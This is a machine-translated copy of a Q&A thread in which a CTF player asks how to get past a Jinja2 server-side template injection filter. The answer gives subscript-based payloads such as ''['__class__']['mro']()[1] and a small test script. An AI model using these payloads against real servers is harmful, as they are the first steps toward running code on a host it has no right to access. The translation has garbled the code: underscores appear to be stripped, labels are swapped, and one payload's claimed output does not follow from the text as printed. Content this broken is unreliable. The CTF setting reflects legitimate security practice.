Jinja2 SSTI 过滤器旁路

问题描述 投票:0回答:1

我正在做一个夺旗(CTF)我正在尝试利用易受Jinja2攻击的服务器服务器端模板注入(SSTI).
我不能使用以下字符:

\
|
,
.
_
。 我正在尝试编写以下命令:

{{''.class.mro()[1].subclasses()}}

有什么想法吗?

我尝试使用

attr
方法,但由于使用
|
.
的限制我不能使用它。

jinja2 exploit ctf
1个回答
0
投票

您在这里需要的大部分内容可能在“变量”章节中进行了解释,并在“实现”注释中进行了进一步解释

除了标准的 Python

.
“下标”语法 (
__getitem__
) 之外,您还可以使用点 (
[]
) 来访问变量的属性。

以下几行做同样的事情:

{{ foo.bar }}
{{ foo['bar'] }}

来源:https://jinja.palletsprojects.com/en/3.1.x/templates/#variables

然后,以后:

foo['bar']
工作原理基本相同,顺序略有不同:

  • foo
    中检查项目'bar'。 (
    foo.__getitem__('bar')
    )
  • 如果没有,检查 foo 上名为 bar 的属性。 (
    getattr(foo, 'bar')
    )
  • 如果没有,返回一个未定义的对象。

来源:https://jinja.palletsprojects.com/en/3.1.x/templates/#notes-on-subscriptions

所以,如果我在 Jinja 环境中尝试这种事情:

{{ ''['__class__']['mro']()[1] }}

我确实得到了

<class 'object'>
作为回报。

在这里,我无法实现

''['class']
,但我可以使用
dict['class']
实现它,另一方面:

{{ dict['class']['mro']()[1] }}

至于对

.subclasses()
方法的调用,不清楚这是来自您的示例实现还是来自其他地方。


测试环境:

├── jinja.py
└── templates
    └── template.html.j2

jinja.py:

from jinja2 import Environment, FileSystemLoader

environment = Environment(loader=FileSystemLoader('templates/'))
template = environment.get_template('template.html.j2')
print(template.render())

templates/template.html.j2:

{{ dict['class']['mro']()[1] }}

输出:

<class 'object'>
© www.soinside.com 2019 - 2024. All rights reserved.